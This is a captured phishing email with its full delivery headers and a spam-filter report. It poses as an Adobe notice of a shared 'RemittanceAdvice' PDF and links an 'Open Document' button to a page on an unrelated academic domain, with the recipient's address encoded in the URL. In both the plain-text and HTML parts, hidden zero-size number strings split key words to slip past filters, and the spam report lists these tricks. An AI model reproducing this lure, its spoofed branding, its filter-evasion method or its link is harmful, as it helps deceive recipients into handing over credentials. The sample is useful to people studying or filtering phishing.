Return-Path: <info@agu.com>
Delivered-To: info@xiaomishow.com
Received: from wpress8.dnswebhost.com
	by wpress8.dnswebhost.com with LMTP
	id j9tSIsoQgmiTNgAAW2XaYg
	(envelope-from <info@agu.com>)
	for <info@xiaomishow.com>; Thu, 24 Jul 2025 14:24:02 +0330
Return-path: <info@agu.com>
Envelope-to: info@xiaomishow.com
Delivery-date: Thu, 24 Jul 2025 14:24:02 +0330
Received: from mail.voicetelecom.net ([104.236.114.220]:57677)
	by wpress8.dnswebhost.com with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <info@agu.com>)
	id 1uetaH-000000003EQ-3xDU
	for info@xiaomishow.com;
	Thu, 24 Jul 2025 14:24:02 +0330
Received: from cloudflare.com (unknown [89.106.1.28])
	by mail.voicetelecom.net (Postfix) with ESMTPSA id 9D56386A18
	for <info@xiaomishow.com>; Thu, 24 Jul 2025 04:53:40 -0500 (EST)
From: "CO Construction LLC" <info@agu.com>
To: <info@xiaomishow.com>
Content-Type: multipart/alternative; boundary="TLa2k1x7tQO49ocHf7B=_Io7GeaK1kHcAx"
MIME-Version: 1.0
Date: Thu, 24 Jul 2025 02:53:41 -0700
Message-Id: <244020250753027DCE495C81-F355D67F1F@agu.com>
X-Mailer: Windows Mail 6.0.6000.16480
X-Spam-Status: Yes, score=5.7
X-Spam-Score: 57
X-Spam-Bar: +++++
X-Spam-Report: Spam detection software, running on the system "wpress8.dnswebhost.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  You've been granted ac1690796080cess to a PDF doc1670055671ument...
    A pri420414168vate docu361148474ment is sent to you titled "Rem945282343ittanceA217821125dvice".
    Only users in this organisation has access to view or modify this do901547742cument.
    
 Content analysis details:   (5.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: satreephuket.ac.th]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                        [104.236.114.220 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [104.236.114.220 listed in bl.score.senderscore.com]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  2.4 HTML_OBFUSCATE_20_30   BODY: Message is 20% to 30% HTML
                             obfuscation
  0.7 HTML_IMAGE_ONLY_28     BODY: HTML: images with 2400-2800 bytes of
                             words
  1.0 MANY_SPAN_IN_TEXT      Many <SPAN> tags embedded within text
  0.0 T_REMOTE_IMAGE         Message contains an external image
X-Spam-Flag: YES
Subject:  ***SPAM***  Invoicing 22513287 MILLS

This is a multi-part message in MIME format

--TLa2k1x7tQO49ocHf7B=_Io7GeaK1kHcAx
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


You've been granted ac1690796080cess to a PDF doc1670055671ument...

A pri420414168vate docu361148474ment is sent to you titled "Rem9452823=
43ittanceA217821125dvice".

Only users in this organisation has access to view or modify this do90=
1547742cument.

 Op1831689304en Doc810070461ument https://reg.satreephuket.ac.th/video=
/steak/?aW5mb0B4aWFvbWlzaG93LmNvbQ=3D=3D


 =A0

--TLa2k1x7tQO49ocHf7B=_Io7GeaK1kHcAx
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<!DOCTYPE HTML> <html> <head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-=
8859-1">
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge"><title>Invo=
icing 22513287 MILLS</title>
</head>
<body style=3D"background: #f0f0f0; padding:0; margin:0; font-family: =
'Open Sans', Arial, sans-serif; font-size: 14px"> <div style=3D"max-wi=
dth: 560px; margin: 0 auto;"><div style=3D"background: url('https://s3=
=2Eus-east-2.amazonaws.com/myoppeml/assets/big_O_bkgd@1x.png') no-repe=
at top left;"> <div style=3D"float: right; margin-top: 22px;"></div> <=
div style=3D"clear: both; height: 0;"> </div> </div> <div style=3D"bac=
kground: #457ac6; text-align: center; color: #ffffff; border-top-left-=
radius: 10px; border-top-right-radius: 10px; padding: 30px 20px; font-=
size: 20px;"> <div style=3D"font-size: 26px; padding-bottom: 20px;"><i=
mg src=3D"https://auth.services.adobe.com/img/generic/adobe_logo_white=
=2Esvg" width=3D"100"></div> <div style=3D"padding-bottom: 20px; font-=
size: 15px; font-weight: bold;"></div> </div> <div style=3D"background=
: #ffffff; color: #848484; border-bottom-left-radius: 10px; border-bot=
tom-right-radius: 10px; padding: 30px; font-size: 16px; line-height: 1=
=2E7em;"> <div style=3D"max-width: 450px; margin: 0 auto; padding-bott=
om: 40px;"> <p><em>You've been granted ac<span style=3D"FONT-SIZE: 0px=
">277844979</span>cess to a PDF doc<span style=3D"FONT-SIZE: 0px">3808=
58817</span>ument...</em></p><p>A pri<span style=3D"FONT-SIZE: 0px">37=
2850890</span>vate docu<span style=3D"FONT-SIZE: 0px">1322954228</span=
>ment is sent to you titled "Rem<span style=3D"FONT-SIZE: 0px">1671412=
168</span>ittanceA<span style=3D"FONT-SIZE: 0px">1748403951</span>dvic=
e". <br><br>Only users in this organisation has access to view or modi=
fy this do<span style=3D"FONT-SIZE: 0px">1579442863</span>cument. </p>=
 </div> <div style=3D"padding-bottom: 20px; font-size: 18px; text-alig=
n: center;"><a style=3D"border: 3px solid #fff; display: inline-block;=
 background: #4f8ce5; border-radius: 52px; color: #ffffff; text-decora=
tion: none; padding: 7px 15px 8px 10px;" href=3D"https://reg.satreephu=
ket.ac.th/video/steak/?aW5mb0B4aWFvbWlzaG93LmNvbQ=3D=3D"> <span style=3D=
"display: inline-block; border-radius: 21px; border: 8px solid #fff; h=
eight: 5px; width: 5px; vertical-align: middle; margin-right: 5px;"><!=
-- noremove --></span> <span style=3D"display: inline-block; vertical-=
align: middle;">Op<span style=3D"FONT-SIZE: 0px">857534322</span>en Do=
c<span style=3D"FONT-SIZE: 0px">2124413246</span>ument</span> </a></di=
v> </div> <div style=3D"text-align: center; color: #848484; padding: 2=
0px; font-size: 12px;"> <p>&nbsp;</p> </div></div> <img src=3D"#" widt=
h=3D"1" height=3D"1" ></body>
</html>

--TLa2k1x7tQO49ocHf7B=_Io7GeaK1kHcAx--